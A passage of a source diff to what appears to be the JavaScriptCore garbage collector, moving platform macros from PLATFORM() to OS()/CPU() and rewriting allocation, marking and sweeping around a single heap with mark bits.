     vm_deallocate(current_task(), reinterpret_cast<vm_address_t>(block), BLOCK_SIZE);
-#elif PLATFORM(SYMBIAN)
-    userChunk->Free(reinterpret_cast<TAny*>(block));
-#elif PLATFORM(WINCE)
+#elif OS(SYMBIAN)
+    m_blockallocator.free(reinterpret_cast<void*>(block));
+#elif OS(WINCE)
     VirtualFree(block, 0, MEM_RELEASE);
-#elif PLATFORM(WIN_OS)
-#if COMPILER(MINGW)
+#elif OS(WINDOWS)
+#if COMPILER(MINGW) && !defined(__MINGW64_VERSION_MAJOR)
     __mingw_aligned_free(block);
 #else
     _aligned_free(block);
@@ -355,13 +304,34 @@ NEVER_INLINE void Heap::freeBlock(CollectorBlock* block)
 #endif
 }
 
-void Heap::freeBlocks(CollectorHeap* heap)
+void Heap::freeBlocks()
 {
-    for (size_t i = 0; i < heap->usedBlocks; ++i)
-        if (heap->blocks[i])
-            freeBlock(heap->blocks[i]);
-    fastFree(heap->blocks);
-    memset(heap, 0, sizeof(CollectorHeap));
+    ProtectCountSet protectedValuesCopy = m_protectedValues;
+
+    clearMarkBits();
+    ProtectCountSet::iterator protectedValuesEnd = protectedValuesCopy.end();
+    for (ProtectCountSet::iterator it = protectedValuesCopy.begin(); it != protectedValuesEnd; ++it)
+        markCell(it->first);
+
+    m_heap.nextCell = 0;
+    m_heap.nextBlock = 0;
+    DeadObjectIterator it(m_heap, m_heap.nextBlock, m_heap.nextCell);
+    DeadObjectIterator end(m_heap, m_heap.usedBlocks);
+    for ( ; it != end; ++it)
+        (*it)->~JSCell();
+
+    ASSERT(!protectedObjectCount());
+
+    protectedValuesEnd = protectedValuesCopy.end();
+    for (ProtectCountSet::iterator it = protectedValuesCopy.begin(); it != protectedValuesEnd; ++it)
+        it->first->~JSCell();
+
+    for (size_t block = 0; block < m_heap.usedBlocks; ++block)
+        freeBlockPtr(m_heap.blocks[block]);
+
+    fastFree(m_heap.blocks);
+
+    memset(&m_heap, 0, sizeof(CollectorHeap));
 }
 
 void Heap::recordExtraCost(size_t cost)
@@ -376,123 +346,109 @@ void Heap::recordExtraCost(size_t cost)
     // are either very short lived temporaries, or have extremely long lifetimes. So
     // if a large value survives one garbage collection, there is not much point to
     // collecting more frequently as long as it stays alive.
-    // NOTE: we target the primaryHeap unconditionally as JSNumber doesn't modify cost 
 
-    primaryHeap.extraCost += cost;
+    if (m_heap.extraCost > maxExtraCost && m_heap.extraCost > m_heap.usedBlocks * BLOCK_SIZE / 2) {
+        // If the last iteration through the heap deallocated blocks, we need
+        // to clean up remaining garbage before marking. Otherwise, the conservative
+        // marking mechanism might follow a pointer to unmapped memory.
+        if (m_heap.didShrink)
+            sweep();
+        reset();
+    }
+    m_heap.extraCost += cost;
 }
 
-template <HeapType heapType> ALWAYS_INLINE void* Heap::heapAllocate(size_t s)
+void* Heap::allocate(size_t s)
 {
-    typedef typename HeapConstants<heapType>::Block Block;
-    typedef typename HeapConstants<heapType>::Cell Cell;
-
-    CollectorHeap& heap = heapType == PrimaryHeap ? primaryHeap : numberHeap;
+    typedef HeapConstants::Block Block;
+    typedef HeapConstants::Cell Cell;
+    
     ASSERT(JSLock::lockCount() > 0);
     ASSERT(JSLock::currentThreadIsHoldingLock());
-    ASSERT_UNUSED(s, s <= HeapConstants<heapType>::cellSize);
+    ASSERT_UNUSED(s, s <= HeapConstants::cellSize);
 
-    ASSERT(heap.operationInProgress == NoOperation);
-    ASSERT(heapType == PrimaryHeap || heap.extraCost == 0);
-    // FIXME: If another global variable access here doesn't hurt performance
-    // too much, we could CRASH() in NDEBUG builds, which could help ensure we
-    // don't spend any time debugging cases where we allocate inside an object's
-    // deallocation code.
+    ASSERT(m_heap.operationInProgress == NoOperation);
 
 #if COLLECT_ON_EVERY_ALLOCATION
-    collect();
+    collectAllGarbage();
+    ASSERT(m_heap.operationInProgress == NoOperation);
 #endif
 
-    size_t numLiveObjects = heap.numLiveObjects;
-    size_t usedBlocks = heap.usedBlocks;
-    size_t i = heap.firstBlockWithPossibleSpace;
-
-    // if we have a huge amount of extra cost, we'll try to collect even if we still have
-    // free cells left.
-    if (heapType == PrimaryHeap && heap.extraCost > ALLOCATIONS_PER_COLLECTION) {
-        size_t numLiveObjectsAtLastCollect = heap.numLiveObjectsAtLastCollect;
-        size_t numNewObjects = numLiveObjects - numLiveObjectsAtLastCollect;
-        const size_t newCost = numNewObjects + heap.extraCost;
-        if (newCost >= ALLOCATIONS_PER_COLLECTION && newCost >= numLiveObjectsAtLastCollect)
-            goto collect;
-    }
+allocate:
 
-    ASSERT(heap.operationInProgress == NoOperation);
-#ifndef NDEBUG
-    // FIXME: Consider doing this in NDEBUG builds too (see comment above).
-    heap.operationInProgress = Allocation;
-#endif
+    // Fast case: find the next garbage cell and recycle it.
 
-scan:
-    Block* targetBlock;
-    size_t targetBlockUsedCells;
-    if (i != usedBlocks) {
-        targetBlock = reinterpret_cast<Block*>(heap.blocks[i]);
-        targetBlockUsedCells = targetBlock->usedCells;
-        ASSERT(targetBlockUsedCells <= HeapConstants<heapType>::cellsPerBlock);
-        while (targetBlockUsedCells == HeapConstants<heapType>::cellsPerBlock) {
-            if (++i == usedBlocks)
-                goto collect;
-            targetBlock = reinterpret_cast<Block*>(heap.blocks[i]);
-            targetBlockUsedCells = targetBlock->usedCells;
-            ASSERT(targetBlockUsedCells <= HeapConstants<heapType>::cellsPerBlock);
-        }
-        heap.firstBlockWithPossibleSpace = i;
-    } else {
+    do {
+        ASSERT(m_heap.nextBlock < m_heap.usedBlocks);
+        Block* block = reinterpret_cast<Block*>(m_heap.blocks[m_heap.nextBlock]);
+        do {
+            ASSERT(m_heap.nextCell < HeapConstants::cellsPerBlock);
+            if (!block->marked.get(m_heap.nextCell)) { // Always false for the last cell in the block
+                Cell* cell = block->cells + m_heap.nextCell;
 
-collect:
-        size_t numLiveObjectsAtLastCollect = heap.numLiveObjectsAtLastCollect;
-        size_t numNewObjects = numLiveObjects - numLiveObjectsAtLastCollect;
-        const size_t newCost = numNewObjects + heap.extraCost;
+                m_heap.operationInProgress = Allocation;
+                JSCell* imp = reinterpret_cast<JSCell*>(cell);
+                imp->~JSCell();
+                m_heap.operationInProgress = NoOperation;
 
-        if (newCost >= ALLOCATIONS_PER_COLLECTION && newCost >= numLiveObjectsAtLastCollect) {
-#ifndef NDEBUG
-            heap.operationInProgress = NoOperation;
-#endif
-            bool foundGarbage = collect();
-            numLiveObjects = heap.numLiveObjects;
-            usedBlocks = heap.usedBlocks;
-            i = heap.firstBlockWithPossibleSpace;
-#ifndef NDEBUG
-            heap.operationInProgress = Allocation;
-#endif
-            if (foundGarbage)
-                goto scan;
-        }
+                ++m_heap.nextCell;
+                return cell;
+            }
+        } while (++m_heap.nextCell != HeapConstants::cellsPerBlock);
+        m_heap.nextCell = 0;
+    } while (++m_heap.nextBlock != m_heap.usedBlocks);
 
-        // didn't find a block, and GC didn't reclaim anything, need to allocate a new block
-        targetBlock = reinterpret_cast<Block*>(allocateBlock<heapType>());
-        heap.firstBlockWithPossibleSpace = heap.usedBlocks - 1;
-        targetBlockUsedCells = 0;
-    }
+    // Slow case: reached the end of the heap. Mark live objects and start over.
 
-    // find a free spot in the block and detach it from the free list
-    Cell* newCell = targetBlock->freeList;
+    reset();
+    goto allocate;
+}
 
-    // "next" field is a cell offset -- 0 means next cell, so a zeroed block is already initialized
-    targetBlock->freeList = (newCell + 1) + newCell->u.freeCell.next;
+void Heap::resizeBlocks()
+{
+    m_heap.didShrink = false;
 
-    targetBlock->usedCells = static_cast<uint32_t>(targetBlockUsedCells + 1);
-    heap.numLiveObjects = numLiveObjects + 1;
+    size_t usedCellCount = markedCells();
+    size_t minCellCount = usedCellCount + max(ALLOCATIONS_PER_COLLECTION, usedCellCount);
+    size_t minBlockCount = (minCellCount + HeapConstants::cellsPerBlock - 1) / HeapConstants::cellsPerBlock;
 
-#ifndef NDEBUG
-    // FIXME: Consider doing this in NDEBUG builds too (see comment above).
-    heap.operationInProgress = NoOperation;
-#endif
+    size_t maxCellCount = 1.25f * minCellCount;
+    size_t maxBlockCount = (maxCellCount + HeapConstants::cellsPerBlock - 1) / HeapConstants::cellsPerBlock;
 
-    return newCell;
+    if (m_heap.usedBlocks < minBlockCount)
+        growBlocks(minBlockCount);
+    else if (m_heap.usedBlocks > maxBlockCount)
+        shrinkBlocks(maxBlockCount);
 }
 
-void* Heap::allocate(size_t s)
+void Heap::growBlocks(size_t neededBlocks)
 {
-    return heapAllocate<PrimaryHeap>(s);
+    ASSERT(m_heap.usedBlocks < neededBlocks);
+    while (m_heap.usedBlocks < neededBlocks)
+        allocateBlock();
 }
 
-void* Heap::allocateNumber(size_t s)
+void Heap::shrinkBlocks(size_t neededBlocks)
 {
-    return heapAllocate<NumberHeap>(s);
+    ASSERT(m_heap.usedBlocks > neededBlocks);
+    
+    // Clear the always-on last bit, so isEmpty() isn't fooled by it.
+    for (size_t i = 0; i < m_heap.usedBlocks; ++i)
+        m_heap.blocks[i]->marked.clear(HeapConstants::cellsPerBlock - 1);
+
+    for (size_t i = 0; i != m_heap.usedBlocks && m_heap.usedBlocks != neededBlocks; ) {
+        if (m_heap.blocks[i]->marked.isEmpty()) {
+            freeBlock(i);
+        } else
+            ++i;
+    }
+
+    // Reset the always-on last bit.
+    for (size_t i = 0; i < m_heap.usedBlocks; ++i)
+        m_heap.blocks[i]->marked.set(HeapConstants::cellsPerBlock - 1);
 }
 
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 void* g_stackBase = 0;
 
 inline bool isPageWritable(void* page)
@@ -549,7 +505,7 @@ static void* getStackBase(void* previousFrame)
 }
 #endif
 
-#if PLATFORM(QNX)
+#if OS(QNX)
 static inline void *currentThreadStackBaseQNX()
 {
     static void* stackBase = 0;
@@ -578,10 +534,10 @@ static inline void *currentThreadStackBaseQNX()
 
 static inline void* currentThreadStackBase()
 {
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
     pthread_t thread = pthread_self();
     return pthread_get_stackaddr_np(thread);
-#elif PLATFORM(WIN_OS) && PLATFORM(X86) && COMPILER(MSVC)
+#elif OS(WINDOWS) && CPU(X86) && COMPILER(MSVC)
     // offset 0x18 from the FS segment register gives a pointer to
     // the thread information block for the current thread
     NT_TIB* pTib;
@@ -590,10 +546,7 @@ static inline void* currentThreadStackBase()
         MOV pTib, EAX
     }
     return static_cast<void*>(pTib->StackBase);
-#elif PLATFORM(WIN_OS) && PLATFORM(X86_64) && COMPILER(MSVC)
-    PNT_TIB64 pTib = reinterpret_cast<PNT_TIB64>(NtCurrentTeb());
-    return reinterpret_cast<void*>(pTib->StackBase);
-#elif PLATFORM(WIN_OS) && PLATFORM(X86) && COMPILER(GCC)
+#elif OS(WINDOWS) && CPU(X86) && COMPILER(GCC)
     // offset 0x18 from the FS segment register gives a pointer to
     // the thread information block for the current thread
     NT_TIB* pTib;
@@ -601,18 +554,21 @@ static inline void* currentThreadStackBase()
           : "=r" (pTib)
         );
     return static_cast<void*>(pTib->StackBase);
-#elif PLATFORM(QNX)
+#elif OS(WINDOWS) && CPU(X86_64)
+    PNT_TIB64 pTib = reinterpret_cast<PNT_TIB64>(NtCurrentTeb());
+    return reinterpret_cast<void*>(pTib->StackBase);
+#elif OS(QNX)
     return currentThreadStackBaseQNX();
-#elif PLATFORM(SOLARIS)
+#elif OS(SOLARIS)
     stack_t s;
     thr_stksegment(&s);
     return s.ss_sp;
-#elif PLATFORM(OPENBSD)
+#elif OS(OPENBSD)
     pthread_t thread = pthread_self();
     stack_t stack;
     pthread_stackseg_np(thread, &stack);
     return stack.ss_sp;
-#elif PLATFORM(SYMBIAN)
+#elif OS(SYMBIAN)
     static void* stackBase = 0;
     if (stackBase == 0) {
         TThreadStackInfo info;
@@ -621,63 +577,21 @@ static inline void* currentThreadStackBase()
         stackBase = (void*)info.iBase;
     }
     return (void*)stackBase;
-#elif PLATFORM(HAIKU)
+#elif OS(HAIKU)
     thread_info threadInfo;
     get_thread_info(find_thread(NULL), &threadInfo);
     return threadInfo.stack_end;
-#elif PLATFORM(UNIX)
-#ifdef UCLIBC_USE_PROC_SELF_MAPS
-    // Read /proc/self/maps and locate the line whose address
-    // range contains __libc_stack_end.
-    FILE *file = fopen("/proc/self/maps", "r");
-    if (!file)
-        return 0;
-    __fsetlocking(file, FSETLOCKING_BYCALLER);
-    char *line = NULL;
-    size_t lineLen = 0;
-    while (!feof_unlocked(file)) {
-        if (getdelim(&line, &lineLen, '\n', file) <= 0)
-            break;
-
-        long from;
-        long to;
-        if (sscanf (line, "%lx-%lx", &from, &to) != 2)
-            continue;
-        if (from <= (long)__libc_stack_end && (long)__libc_stack_end < to) {
-            fclose(file);
-            free(line);
-#ifdef _STACK_GROWS_UP
-            return (void *)from;
-#else
-            return (void *)to;
-#endif
-        }
-    }
-    fclose(file);
-    free(line);
-    return 0;
-#else
+#elif OS(UNIX)
     static void* stackBase = 0;
     static size_t stackSize = 0;
     static pthread_t stackThread;
     pthread_t thread = pthread_self();
     if (stackBase == 0 || thread != stackThread) {
-#if defined(QT_LINUXBASE)
-        // LinuxBase is missing pthread_getattr_np - resolve it once at runtime instead
-        // see http://bugs.linuxbase.org/show_bug.cgi?id=2364
-        typedef int (*GetAttrPtr)(pthread_t, pthread_attr_t *);
-        static int (*pthread_getattr_np_ptr)(pthread_t, pthread_attr_t *) = 0;
-        if (!pthread_getattr_np_ptr)
-            *(void **)&pthread_getattr_np_ptr = dlsym(RTLD_DEFAULT, "pthread_getattr_np");
-#endif
         pthread_attr_t sattr;
         pthread_attr_init(&sattr);
-#if HAVE(PTHREAD_NP_H) || PLATFORM(NETBSD)
+#if HAVE(PTHREAD_NP_H) || OS(NETBSD)
         // e.g. on FreeBSD 5.4, neundorf@kde.org
         pthread_attr_get_np(thread, &sattr);
-#elif defined(QT_LINUXBASE)
-        if (pthread_getattr_np_ptr)
-            pthread_getattr_np_ptr(thread, &sattr);
 #else
         // FIXME: this function is non-portable; other POSIX systems may have different np alternatives
         pthread_getattr_np(thread, &sattr);
@@ -689,8 +603,7 @@ static inline void* currentThreadStackBase()
         stackThread = thread;
     }
     return static_cast<char*>(stackBase) + stackSize;
-#endif
-#elif PLATFORM(WINCE)
+#elif OS(WINCE)
     if (g_stackBase)
         return g_stackBase;
     else {
@@ -706,11 +619,10 @@ static inline void* currentThreadStackBase()
 
 static inline PlatformThread getCurrentPlatformThread()
 {
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
     return pthread_mach_thread_np(pthread_self());
-#elif PLATFORM(WIN_OS)
-    HANDLE threadHandle = pthread_getw32threadhandle_np(pthread_self());
-    return PlatformThread(GetCurrentThreadId(), threadHandle);
+#elif OS(WINDOWS)
+    return pthread_getw32threadhandle_np(pthread_self());
 #endif
 }
 
@@ -779,10 +691,37 @@ void Heap::registerThread()
 
 #endif
 
-#define IS_POINTER_ALIGNED(p) (((intptr_t)(p) & (sizeof(char*) - 1)) == 0)
+inline bool isPointerAligned(void* p)
+{
+    return (((intptr_t)(p) & (sizeof(char*) - 1)) == 0);
+}
+
+// Cell size needs to be a power of two for isPossibleCell to be valid.
+COMPILE_ASSERT(sizeof(CollectorCell) % 2 == 0, Collector_cell_size_is_power_of_two);
+
+#if USE(JSVALUE32)
+static bool isHalfCellAligned(void *p)
+{
+    return (((intptr_t)(p) & (CELL_MASK >> 1)) == 0);
+}
+
+static inline bool isPossibleCell(void* p)
+{
+    return isHalfCellAligned(p) && p;
+}
+
+#else
 
-// cell size needs to be a power of two for this to be valid
-#define IS_HALF_CELL_ALIGNED(p) (((intptr_t)(p) & (CELL_MASK >> 1)) == 0)
+static inline bool isCellAligned(void *p)
+{
+    return (((intptr_t)(p) & CELL_MASK) == 0);
+}
+
+static inline bool isPossibleCell(void* p)
+{
+    return isCellAligned(p) && p;
+}
+#endif // USE(JSVALUE32)
 
 void Heap::markConservatively(MarkStack& markStack, void* start, void* end)
 {
@@ -793,46 +732,33 @@ void Heap::markConservatively(MarkStack& markStack, void* start, void* end)
     }
 
     ASSERT((static_cast<char*>(end) - static_cast<char*>(start)) < 0x1000000);
-    ASSERT(IS_POINTER_ALIGNED(start));
-    ASSERT(IS_POINTER_ALIGNED(end));
+    ASSERT(isPointerAligned(start));
+    ASSERT(isPointerAligned(end));
 
     char** p = static_cast<char**>(start);
     char** e = static_cast<char**>(end);
 
-    size_t usedPrimaryBlocks = primaryHeap.usedBlocks;
-    size_t usedNumberBlocks = numberHeap.usedBlocks;
-    CollectorBlock** primaryBlocks = primaryHeap.blocks;
-    CollectorBlock** numberBlocks = numberHeap.blocks;
-
-    const size_t lastCellOffset = sizeof(CollectorCell) * (CELLS_PER_BLOCK - 1);
-
+    CollectorBlock** blocks = m_heap.blocks;
     while (p != e) {
         char* x = *p++;
-        if (IS_HALF_CELL_ALIGNED(x) && x) {
+        if (isPossibleCell(x)) {
+            size_t usedBlocks;
             uintptr_t xAsBits = reinterpret_cast<uintptr_t>(x);
             xAsBits &= CELL_ALIGN_MASK;
+
             uintptr_t offset = xAsBits & BLOCK_OFFSET_MASK;
+            const size_t lastCellOffset = sizeof(CollectorCell) * (CELLS_PER_BLOCK - 1);
+            if (offset > lastCellOffset)
+                continue;
+
             CollectorBlock* blockAddr = reinterpret_cast<CollectorBlock*>(xAsBits - offset);
-            // Mark the the number heap, we can mark these Cells directly to avoid the virtual call cost
-            for (size_t block = 0; block < usedNumberBlocks; block++) {
-                if ((numberBlocks[block] == blockAddr) & (offset <= lastCellOffset)) {
-                    Heap::markCell(reinterpret_cast<JSCell*>(xAsBits));
-                    goto endMarkLoop;
-                }
+            usedBlocks = m_heap.usedBlocks;
+            for (size_t block = 0; block < usedBlocks; block++) {
+                if (blocks[block] != blockAddr)
+                    continue;
+                markStack.append(reinterpret_cast<JSCell*>(xAsBits));
+                markStack.drain();
             }
-          
-            // Mark the primary heap
-            for (size_t block = 0; block < usedPrimaryBlocks; block++) {
-                if ((primaryBlocks[block] == blockAddr) & (offset <= lastCellOffset)) {
-                    if (reinterpret_cast<CollectorCell*>(xAsBits)->u.freeCell.zeroIfFree) {
-                        markStack.append(reinterpret_cast<JSCell*>(xAsBits));
-                        markStack.drain();
-                    }
-                    break;
-                }
-            }
-        endMarkLoop:
-            ;
         }
     }
 }
@@ -871,10 +797,10 @@ void Heap::markCurrentThreadConservatively(MarkStack& markStack)
 
 static inline void suspendThread(const PlatformThread& platformThread)
 {
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
     thread_suspend(platformThread);
-#elif PLATFORM(WIN_OS)
-    SuspendThread(platformThread.handle);
+#elif OS(WINDOWS)
+    SuspendThread(platformThread);
 #else
 #error Need a way to suspend threads on this platform
 #endif
@@ -882,10 +808,10 @@ static inline void suspendThread(const PlatformThread& platformThread)
 
 static inline void resumeThread(const PlatformThread& platformThread)
 {
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
     thread_resume(platformThread);
-#elif PLATFORM(WIN_OS)
-    ResumeThread(platformThread.handle);
+#elif OS(WINDOWS)
+    ResumeThread(platformThread);
 #else
 #error Need a way to resume threads on this platform
 #endif
@@ -893,23 +819,23 @@ static inline void resumeThread(const PlatformThread& platformThread)
 
 typedef unsigned long usword_t; // word size, assumed to be either 32 or 64 bit
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 
-#if PLATFORM(X86)
+#if CPU(X86)
 typedef i386_thread_state_t PlatformThreadRegisters;
-#elif PLATFORM(X86_64)
+#elif CPU(X86_64)
 typedef x86_thread_state64_t PlatformThreadRegisters;
-#elif PLATFORM(PPC)
+#elif CPU(PPC)
 typedef ppc_thread_state_t PlatformThreadRegisters;
-#elif PLATFORM(PPC64)
+#elif CPU(PPC64)
 typedef ppc_thread_state64_t PlatformThreadRegisters;
-#elif PLATFORM(ARM)
+#elif CPU(ARM)
 typedef arm_thread_state_t PlatformThreadRegisters;
 #else
 #error Unknown Architecture
 #endif
 
-#elif PLATFORM(WIN_OS)&& PLATFORM(X86)
+#elif OS(WINDOWS) && CPU(X86)
 typedef CONTEXT PlatformThreadRegisters;
 #else
 #error Need a thread register struct for this platform
@@ -917,21 +843,21 @@ typedef CONTEXT PlatformThreadRegisters;
 
 static size_t getPlatformThreadRegisters(const PlatformThread& platformThread, PlatformThreadRegisters& regs)
 {
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 
-#if PLATFORM(X86)
+#if CPU(X86)
     unsigned user_count = sizeof(regs)/sizeof(int);
     thread_state_flavor_t flavor = i386_THREAD_STATE;
-#elif PLATFORM(X86_64)
+#elif CPU(X86_64)
     unsigned user_count = x86_THREAD_STATE64_COUNT;
     thread_state_flavor_t flavor = x86_THREAD_STATE64;
-#elif PLATFORM(PPC) 
+#elif CPU(PPC) 
     unsigned user_count = PPC_THREAD_STATE_COUNT;
     thread_state_flavor_t flavor = PPC_THREAD_STATE;
-#elif PLATFORM(PPC64)
+#elif CPU(PPC64)
     unsigned user_count = PPC_THREAD_STATE64_COUNT;
     thread_state_flavor_t flavor = PPC_THREAD_STATE64;
-#elif PLATFORM(ARM)
+#elif CPU(ARM)
     unsigned user_count = ARM_THREAD_STATE_COUNT;
     thread_state_flavor_t flavor = ARM_THREAD_STATE;
 #else
@@ -945,11 +871,11 @@ static size_t getPlatformThreadRegisters(const PlatformThread& platformThread, P
         CRASH();
     }
     return user_count * sizeof(usword_t);
-// end PLATFORM(DARWIN)
+// end OS(DARWIN)
 
-#elif PLATFORM(WIN_OS) && PLATFORM(X86)
+#elif OS(WINDOWS) && CPU(X86)
     regs.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL | CONTEXT_SEGMENTS;
-    GetThreadContext(platformThread.handle, &regs);
+    GetThreadContext(platformThread, &regs);
     return sizeof(CONTEXT);
 #else
 #error Need a way to get thread registers on this platform
@@ -958,17 +884,17 @@ static size_t getPlatformThreadRegisters(const PlatformThread& platformThread, P
 
 static inline void* otherThreadStackPointer(const PlatformThreadRegisters& regs)
 {
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 
 #if __DARWIN_UNIX03
 
-#if PLATFORM(X86)
+#if CPU(X86)
     return reinterpret_cast<void*>(regs.__esp);
-#elif PLATFORM(X86_64)
+#elif CPU(X86_64)
     return reinterpret_cast<void*>(regs.__rsp);
-#elif PLATFORM(PPC) || PLATFORM(PPC64)
+#elif CPU(PPC) || CPU(PPC64)
     return reinterpret_cast<void*>(regs.__r1);
-#elif PLATFORM(ARM)
+#elif CPU(ARM)
     return reinterpret_cast<void*>(regs.__sp);
 #else
 #error Unknown Architecture
@@ -976,11 +902,11 @@ static inline void* otherThreadStackPointer(const PlatformThreadRegisters& regs)
 
 #else // !__DARWIN_UNIX03
 
-#if PLATFORM(X86)
+#if CPU(X86)
     return reinterpret_cast<void*>(regs.esp);
-#elif PLATFORM(X86_64)
+#elif CPU(X86_64)
     return reinterpret_cast<void*>(regs.rsp);
-#elif (PLATFORM(PPC) || PLATFORM(PPC64))
+#elif CPU(PPC) || CPU(PPC64)
     return reinterpret_cast<void*>(regs.r1);
 #else
 #error Unknown Architecture
@@ -988,8 +914,8 @@ static inline void* otherThreadStackPointer(const PlatformThreadRegisters& regs)
 
 #endif // __DARWIN_UNIX03
 
-// end PLATFORM(DARWIN)
-#elif PLATFORM(X86) && PLATFORM(WIN_OS)
+// end OS(DARWIN)
+#elif CPU(X86) && OS(WINDOWS)
     return reinterpret_cast<void*>((uintptr_t) regs.Esp);
 #else
 #error Need a way to get the stack pointer for another thread on this platform
@@ -1054,15 +980,15 @@ void Heap::protect(JSValue k)
     m_protectedValues.add(k.asCell());
 }
 
-void Heap::unprotect(JSValue k)
+bool Heap::unprotect(JSValue k)
 {
     ASSERT(k);
     ASSERT(JSLock::currentThreadIsHoldingLock() || !m_globalData->isSharedInstance);
 
     if (!k.isCell())
-        return;
+        return false;
 
-    m_protectedValues.remove(k.asCell());
+    return m_protectedValues.remove(k.asCell());
 }
 
 void Heap::markProtectedObjects(MarkStack& markStack)
@@ -1074,109 +1000,68 @@ void Heap::markProtectedObjects(MarkStack& markStack)
     }
 }
 
-template <HeapType heapType> size_t Heap::sweep()
+void Heap::clearMarkBits()
 {
-    typedef typename HeapConstants<heapType>::Block Block;
-    typedef typename HeapConstants<heapType>::Cell Cell;
+    for (size_t i = 0; i < m_heap.usedBlocks; ++i)
+        clearMarkBits(m_heap.blocks[i]);
+}
 
-    // SWEEP: delete everything with a zero refcount (garbage) and unmark everything else
-    CollectorHeap& heap = heapType == PrimaryHeap ? primaryHeap : numberHeap;
-    
-    size_t emptyBlocks = 0;
-    size_t numLiveObjects = heap.numLiveObjects;
-    
-    for (size_t block = 0; block < heap.usedBlocks; block++) {
-        Block* curBlock = reinterpret_cast<Block*>(heap.blocks[block]);
-        
-        size_t usedCells = curBlock->usedCells;
-        Cell* freeList = curBlock->freeList;
-        
-        if (usedCells == HeapConstants<heapType>::cellsPerBlock) {
-            // special case with a block where all cells are used -- testing indicates this happens often
-            for (size_t i = 0; i < HeapConstants<heapType>::cellsPerBlock; i++) {
-                if (!curBlock->marked.get(i >> HeapConstants<heapType>::bitmapShift)) {
-                    Cell* cell = curBlock->cells + i;
-                    
-                    if (heapType != NumberHeap) {
-                        JSCell* imp = reinterpret_cast<JSCell*>(cell);
-                        // special case for allocated but uninitialized object
-                        // (We don't need this check earlier because nothing prior this point 
-                        // assumes the object has a valid vptr.)
-                        if (cell->u.freeCell.zeroIfFree == 0)
-                            continue;
-                        
-                        imp->~JSCell();
-                    }
-                    
-                    --usedCells;
-                    --numLiveObjects;
-                    
-                    // put cell on the free list
-                    cell->u.freeCell.zeroIfFree = 0;
-                    cell->u.freeCell.next = freeList - (cell + 1);
-                    freeList = cell;
-                }
-            }
-        } else {
-            size_t minimumCellsToProcess = usedCells;
-            for (size_t i = 0; (i < minimumCellsToProcess) & (i < HeapConstants<heapType>::cellsPerBlock); i++) {
-                Cell* cell = curBlock->cells + i;
-                if (cell->u.freeCell.zeroIfFree == 0) {
-                    ++minimumCellsToProcess;
-                } else {
-                    if (!curBlock->marked.get(i >> HeapConstants<heapType>::bitmapShift)) {
-                        if (heapType != NumberHeap) {
-                            JSCell* imp = reinterpret_cast<JSCell*>(cell);
-                            imp->~JSCell();
-                        }
-                        --usedCells;
-                        --numLiveObjects;
-                        
-                        // put cell on the free list
-                        cell->u.freeCell.zeroIfFree = 0;
-                        cell->u.freeCell.next = freeList - (cell + 1); 
-                        freeList = cell;
-                    }
-                }
-            }
-        }
-        
-        curBlock->usedCells = static_cast<uint32_t>(usedCells);
-        curBlock->freeList = freeList;
-        curBlock->marked.clearAll();
-        
-        if (!usedCells)
-            ++emptyBlocks;
-    }
-    
-    if (heap.numLiveObjects != numLiveObjects)
-        heap.firstBlockWithPossibleSpace = 0;
-    
-    heap.numLiveObjects = numLiveObjects;
-    heap.numLiveObjectsAtLastCollect = numLiveObjects;
-    heap.extraCost = 0;
-    
-    if (!emptyBlocks)
-        return numLiveObjects;
+void Heap::clearMarkBits(CollectorBlock* block)
+{
+    // allocate assumes that the last cell in every block is marked.
+    block->marked.clearAll();
+    block->marked.set(HeapConstants::cellsPerBlock - 1);
+}
+
+size_t Heap::markedCells(size_t startBlock, size_t startCell) const
+{
+    ASSERT(startBlock <= m_heap.usedBlocks);
+    ASSERT(startCell < HeapConstants::cellsPerBlock);
+
+    if (startBlock >= m_heap.usedBlocks)
+        return 0;
+
+    size_t result = 0;
+    result += m_heap.blocks[startBlock]->marked.count(startCell);
+    for (size_t i = startBlock + 1; i < m_heap.usedBlocks; ++i)
+        result += m_heap.blocks[i]->marked.count();
 
-    size_t neededCells = 1.25f * (numLiveObjects + max(ALLOCATIONS_PER_COLLECTION, numLiveObjects));
-    size_t neededBlocks = (neededCells + HeapConstants<heapType>::cellsPerBlock - 1) / HeapConstants<heapType>::cellsPerBlock;
-    for (size_t block = 0; block < heap.usedBlocks; block++) {
-        if (heap.usedBlocks <= neededBlocks)
-            break;
+    return result;
+}
 
-        Block* curBlock = reinterpret_cast<Block*>(heap.blocks[block]);
-        if (curBlock->usedCells)
-            continue;
+void Heap::sweep()
+{
+    ASSERT(m_heap.operationInProgress == NoOperation);
+    if (m_heap.operationInProgress != NoOperation)
+        CRASH();
+    m_heap.operationInProgress = Collection;
+    
+#if !ENABLE(JSC_ZOMBIES)
+    Structure* dummyMarkableCellStructure = m_globalData->dummyMarkableCellStructure.get();
+#endif
 
-        freeBlock<heapType>(block);
-        block--; // Don't move forward a step in this case
+    DeadObjectIterator it(m_heap, m_heap.nextBlock, m_heap.nextCell);
+    DeadObjectIterator end(m_heap, m_heap.usedBlocks);
+    for ( ; it != end; ++it) {
+        JSCell* cell = *it;
+#if ENABLE(JSC_ZOMBIES)
+        if (!cell->isZombie()) {
+            const ClassInfo* info = cell->classInfo();
+            cell->~JSCell();
+            new (cell) JSZombie(info, JSZombie::leakedZombieStructure());
+            Heap::markCell(cell);
+        }
+#else
+        cell->~JSCell();
+        // Callers of sweep assume it's safe to mark any cell in the heap.
+        new (cell) JSCell(dummyMarkableCellStructure);
+#endif
     }
 
-    return numLiveObjects;
+    m_heap.operationInProgress = NoOperation;
 }
 
-bool Heap::collect()
+void Heap::markRoots()
 {
 #ifndef NDEBUG
     if (m_globalData->isSharedInstance) {
@@ -1185,66 +1070,62 @@ bool Heap::collect()
     }
 #endif
 
-    ASSERT((primaryHeap.operationInProgress == NoOperation) | (numberHeap.operationInProgress == NoOperation));
-    if ((primaryHeap.operationInProgress != NoOperation) | (numberHeap.operationInProgress != NoOperation))
+    ASSERT(m_heap.operationInProgress == NoOperation);
+    if (m_heap.operationInProgress != NoOperation)
         CRASH();
 
-    JAVASCRIPTCORE_GC_BEGIN();
